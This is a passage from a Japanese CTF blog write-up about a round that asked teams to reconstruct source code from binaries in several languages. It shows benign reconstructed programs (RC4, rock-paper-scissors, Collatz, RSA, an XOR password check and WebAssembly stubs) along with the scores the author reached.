$ ./mission-2 Key: hoge Plaintext: fuga Ciphertext: e23ae831
IDA Freewareに投げるとこんな感じでデコンパイルしてくれる。RC4
というクラスがあって、インスタンス化時にはコンストラクタに鍵を渡し、暗号化時には Encrypt
というメソッドに平文を渡すのだなあ、それで返ってきた暗号文を16進文字列で出力するのだなあとわかる。
RC4は素直な実装だし、IDA Freewareもまあまあいい感じにデコンパイルしてくれているので、それをC++らしく書き直すだけ。…のはずなんだけれども、この時点ではまだ戦い方を把握しきれておらず(また、ルールも把握しきれておらず)、上の方に書いた「バイナリを実行した結果から挙動の推測をし、それっぽいコードに変えていく」ことに時間をかけてしまっていた。
最終的な差分サイズは15332。順位の推移は1 → 2 → 2 → 3 → 3 → 3 → 4 → 4 → 9 → 5 → 5 → 5。
Rust
Rustわからんし、リバースエンジニアリングするのもバイナリが読みにくくてやだなあと思いつつ取り組む。実行すると次のような感じで、どうやらじゃんけんの勝者判定をすればよいらしい。
$ ./mission-3 Player 1 Hand [Rock/Paper/Scissors]: Rock Player 2 Hand [Rock/Paper/Scissors]: Rock Draw!
これまでの言語と同様にシンボル情報は残してくれていて、次のように get_player_hand
という関数が使われているのだなあとか、おかしな手を出したら Invalid hand
というメッセージで panic!
するのだなあとかわかる。
見様見真似でそれっぽく書き、以下のようなコードができあがった。このあたりでlight-noteのヒント(?)が出ており、Jeopardyに未練があったので、盆栽は途中で切り上げて、次の言語に移行するまでの30分程度はそちらを見ることにした。
use std::io; fn get_player_hand(x: u32) -> u32 { print!("Player {} Hand [Rock/Paper/Scissors]: ", x); let mut val = String::new(); io::stdin().read_line(&mut val) .expect("Error getting guess"); let s = val.to_lowercase().to_string(); match &*s { "rock" => return 1, "scissors" => return 2, "paper" => return 3, _ => panic!("Invalid hand"), } } fn main() { let a = get_player_hand(1); let b = get_player_hand(2); match (b - a) % 3 { 0 => println!("Draw!"), 1 => println!("Player 1 wins!"), 2 => println!("Player 2 wins!"), _ => unreachable!() } }
最終的な差分サイズは28488。順位の推移は3 → 4 → (0点) → 5 → 4 → 4 → 4 → 4 → 4 → 5 → 5 → 5。うーん。ここらへんから他チームも最初にダミーでもよいからソースコードを提出しておけば点数が得られることに気づき始める。
Go
Rustと並んで、あまりバイナリを読みたくないランキングの上位にいるGolang。実行すると次のような感じで、数値を投げるとよくわからん数値を返してくれる。OEISに投げたら "Number of halving and tripling steps to reach 1 in '3x+1' problem" と教えてくれた。ありがとう。
$ ./mission-4 Number: 3 [DEBUG] quit := make(chan int) [DEBUG] c := make(chan int) [DEBUG] go shrinker(c, quit) [DEBUG] go expander(c, quit) 7
デバッグ出力のおかげでgoroutineとチャネルを使っていそうだなあとわかる。うまいこと書けず悩んでいるうちに、複数の他チームがかなり小さい差分サイズを出してきたので、途中で切り上げてJeopardyやPythonラウンドに向けた準備をする。
package main import ( "fmt" ) func shrinker(c chan int, quit chan int) { } func expander(c chan int, quit chan int) { } func main() { var i int fmt.Printf("Number: ") _, err := fmt.Scanf("%d", &i) if err != nil { fmt.Println("Invalid number") return } quit := make(chan int) fmt.Println("[DEBUG] quit := make(chan int)") c := make(chan int) fmt.Println("[DEBUG] c := make(chan int)") go shrinker(c, quit) fmt.Println("[DEBUG] go shrinker(c, quit)") go expander(c, quit) fmt.Println("[DEBUG] go expander(c, quit)") fmt.Println(0) }
最終的な差分サイズは38546。順位の推移は(0点) → 5 → 4 → 5 → 6 → 7 → 7 → 7 → 7 → 7 → 7 → 7。ひどい。
Python
この問題ではELFでなくpycが降ってくる。pycの生成に使われるのはPython 3.12.0a3で、uncompyle6やdecompyle3によるデコンパイルはできないと踏んでいた。事前に以下のように(提供されるpycの解析だけでなく、それと出力されるpycを比較してソースコードの修正もできるように)すぐ逆アセンブルできるような準備を整えていた。案の定デコンパイルできなかったので、役立った。
$ python3 -c "import dis, marshal; f=open('/tmp/__pycache__/main.cpython-312.pyc','rb'); f.seek(16); dis.dis(marshal.load(f))" 0 0 RESUME 0 1 2 PUSH_NULL 4 LOAD_NAME 0 (print) 6 LOAD_CONST 0 ('123') 8 CALL 1 18 POP_TOP 20 LOAD_CONST 1 (None) 22 RETURN_VALUE
提供されたpycを実行すると、次のようによくわからん方法でテキストを暗号化してくれる。
$ python3 mission-5.pyc Text: a Cipher: 0xab3d884932f44013911c055a64fb4efe0244ccb95109e14fa09b4b3b5b3a0f0b55c557962c612736e238a412414827b2fef119500677cd32bd32073fcffd55295d3500c92d1f3b879c199801aa6c70d2fe89fe8a37419ad39ac74c68e67f3de0 $ python3 mission-5.pyc Text: b Cipher: 0x300020be7b72a12d5e22546329b5ca259de043edbf28607a147565f5e77ecd87e7e59be9255c4db6c5ad9283e09db9610c3715610af34ebf213da604519b384722f75bcc0a14087d2f78eb6d8c9ee690f27566f1330dc8e87d91cf83ae7cd8b5e
手でデコンパイルするしかない。pycのデコンパイルには慣れているし、提供されたpycは特に難読化を考えていないような素直なものだったから、割とサクサク進められた。できあがったものは次の通り。isPrime
のループがうまいこと復元できず泣く*6。修正してはコンパイルして dis.dis
の結果を比較するというのを繰り返して、いい感じにできた。
import random def isPrime(n, k=10): if n == 2 or n == 3: return True if n & 1 == 0: return False r, s = 0, n - 1 while s & 1 == 0: s >>= 1 r += 1 for _ in range(k): a = random.randrange(2, n - 1) x = pow(a, s, n) if x == 1 or n - x == 1: continue for _ in range(r - 1): x = (x * x) % n if n - x == 1: return False else: pass return True def getPrime(bits): while True: p = random.randrange(1 << bits, 1 << (bits + 1)) if isPrime(p): return p if __name__ == '__main__': p = getPrime(256) q = getPrime(256) r = getPrime(256) n = p * q * r e = 65537 m = int.from_bytes(input('Text: ').encode(), 'big') if m > n: print('Too long') exit(1) c = pow(m, e, n) print(f'Cipher: {hex(c)}') phi = (p - 1) * (q - 1) * (r - 1) d = pow(e, -1, phi) mm = pow(c, d, n) assert m == mm
最終的な差分サイズは151。順位の推移は1 → 1 → 3 → 3 → 3 → 2 → 1 → 2 → 2 → 2 → 1 → 1。これはよかった。
D
D*7。実行すると次のような感じで、入力したパスワードが正しいかどうかをチェックしてくれる。
$ ./mission-6 Password: a Wrong...
以下のスクリーンショットはIDA Freewareでデコンパイルしたコード。左に main
を、右に check_password
という関数をデコンパイルしたものを置いているけれども、このようにバイナリは素直な感じになっていて読みやすい。
シンボルのデマングルも ddemangle
を使えばできる。
root@739e71af9d39:/tmp/tools# ./dtools_ddemangle _D3std9algorithm9iteration__T3mapS_D4main14check_passwordFAyaZ1fPFNaNbNiNfwZkZ__TQCaTAaZQChMFNaNbNiNfQqZSQDzQDyQDr__T9MapResultS_DQDqQDoFQDbZQDbQDcTQClZQBj pure nothrow @nogc @safe std.algorithm.iteration.MapResult!(main.check_password(immutable(char)[]).f, char[]).MapResult std.algorithm.iteration.map!(main.check_password(immutable(char)[]).f).map!(char[]).map(char[])
というか、gdb
でもできる。
$ gdb -q -n ./mission-6 Reading symbols from ./mission-6... (No debugging symbols found in ./mission-6) (gdb) info fun main All functions matching regular expression "main": Non-debugging symbols: 0x00000000000538dc main.check_password(immutable(char)[]) 0x0000000000053a00 main.check_password(immutable(char)[]).__lambda3(dchar) 0x0000000000053a08 D main 0x0000000000053aa4 main …
バイナリはリバースエンジニアリングしやすいようになっているし、実際に上記の main
, check_password
に加えて、以下の check_password
中で使われているラムダ式を読むと、入力されたパスワードを 0x77
とXORしたものと固定のバイト列が比較されていることがわかる(どうでもいいけど、パスワードは Make D-lang Great Again!
)。
__int64 __fastcall D4main14check_passwordFAyaZ9__lambda3FNaNbNiNfwZk(int a1) { return a1 ^ 0x77u; }
でも問題があって、私はD言語がまったく書けない。Dlang TourやD言語基礎文法最速マスターを読んで、短い時間である程度書けるようにならなければならなかった。…なれませんでした。
手元ではコンパイルが通っているし、提供されたバイナリとの比較も何かエラーを吐いているわけではない(ただ、差分の計算に時間がかかっている様子だった)のになぜか得点が0点になっている。サーバ側での何かしらの障害を疑ったけれども、一部のチームは得点している様子だったので仕様通りの挙動っぽいと考える。ルールを読み直したところ、以下のような記述があった。どういった場合に得点できないかという話だ。
In any of the following cases, the team will not receive any points for the round:
- The team does not upload any code for the language. (You don't have to upload the same code every round.)
- The uploaded code does not compile within 10 seconds.
- The diff calculation does not finish in 10 seconds, meaning there is too much difference.
ソースコードはアップロードしたし、コンパイルも1秒とかかっていない。残るは10秒で差分計算が終わらなかった場合だ。…ア! めっちゃ時間かかってた!! このようにルールで明記されていたし、差分計算にどれぐらい時間がかかるかはローカルで見積もれるわけだから、こういう事態に陥ることを考えておくことも、事前に対策しておくこともできたはず。5ラウンドで0点が続いた*8のは痛い失点だった。
はい。
ルールは、読もう!
— pwnyaa (@pwnyaa) February 13, 2023
(diffの表示が未提出と変わらない設計が悪い)
できあがったコードは次の通り。import std.algorithm;
みたいにモジュールをいくつかインポートするだけで差分サイズが改善されて、0点から脱出することができた。main
の最初で ptrace
を使ったデバッガ検知が行われていたので、どうやって呼び出すんだろうなあと調べていたのだけれども、頭が働いておらず結局見つからなかった。"dlang call c function" でググったら普通に出てきた。
module main; import std.stdio; import std.string; import std.algorithm; import std.array; bool check_password(string password) { byte[] x = [ 58,22,28,18,87,51,90,27,22,25,16,87,48,5,18,22,3,87,54,16,22,30,25,86 ]; auto y = array(map!("a ^ 0x77")(x)); return equal(x, y); } void main() { writeln("Password: "); if (check_password(strip(readln()))) { writeln("Correct!"); } else { writeln("Wrong..."); } }
最終的な差分サイズは24556。順位の推移は(0点) → (0点) → (0点) → (0点) → (0点) → 4 → 4 → 4 → 4 → 4 → 4 → 4。
WebAssembly
この問題ではELFでなくwasmが降ってくる。実行すると次のような感じで、ねぎらいの言葉なのかなんなのかよくわからんけれども、計算をしてくれる。
$ node mission-7.js [+] Computing... Hit: 5963 [+] Done.
Emscriptenが吐き出すwasmは真面目に読んでいたら時間が足りない。とりあえず、WABTの wasm2c
と wasm2wat
, wasm-objdump
でwasmに関する情報を出力させる。watの export
セクションを見ると bruteforce
, oracle
, main
あたりの関数がそれっぽいなあとわかる。ほかの __errno_location
や dynCall_jiji
は、Emscriptenでコンパイルした場合にはだいたい共通してついてくるやつ。
(export "memory" (memory 0)) (export "__wasm_call_ctors" (func 3)) (export "__internal_bruteforce" (func 4)) (export "bruteforce" (func 5)) (export "oracle" (func 6)) (export "__original_main" (func 7)) (export "main" (func 8)) (export "__indirect_function_table" (table 0)) (export "__errno_location" (func 27)) (export "stackSave" (func 51)) (export "stackRestore" (func 52)) (export "stackAlloc" (func 53)) (export "dynCall_jiji" (func 55))
ここらへんの関数を EMSCRIPTEN_KEEPALIVE
を使いつつ無理やりエクスポートさせる。中身は適当。
#include <stdio.h> #include <emscripten.h> EMSCRIPTEN_KEEPALIVE void oracle(int x) { return; } EMSCRIPTEN_KEEPALIVE int __internal_bruteforce(int y) { for (int i = 0; i < y; i++) { return 2; } return 5963; } EMSCRIPTEN_KEEPALIVE int bruteforce(int y) { return __internal_bruteforce(y); } EMSCRIPTEN_KEEPALIVE int main(void) { puts("[+] Computing..."); printf("%d%d%d%d\n", __internal_bruteforce(1), __internal_bruteforce(1), __internal_bruteforce(3), __internal_bruteforce(3)); puts("[+] Done."); return 0; }
最終的な差分サイズは7623。順位の推移は4 → 5 → 4 → 4 → 4 → 4 → 3 → 3 → 4 → 4 → 4。
おわりに
とても楽しいCTFでした。運営の皆さん、また参加されていた皆さん、ありがとうございました。
*1:予選のことは忘れましょう
*2:スコアサーバに登録されているフラグや配布されたファイルから得られるフラグに誤りがあるという場合や、正しいフラグが得られているという確証が得られないような場合にhoardingしている問題を落としてしまうリスクはある
*3:今回コードゴルフが出たわけではない。もし出ていたら微妙な顔をしていたと思う
*4:2019年度の国内決勝大会でkimiyukiさんがひとりで準優勝していたのが印象深い
*5:私が名付けたチーム名だけれども、私も読み方は知らない。便宜上「顔文字」「顔文字チーム」と読んでいる
*6:泣いてません
*7:Dと聞くと、Arkさんの回転するD言語くんアイコンを思い出してしまう
*8:これが本当のzer0pts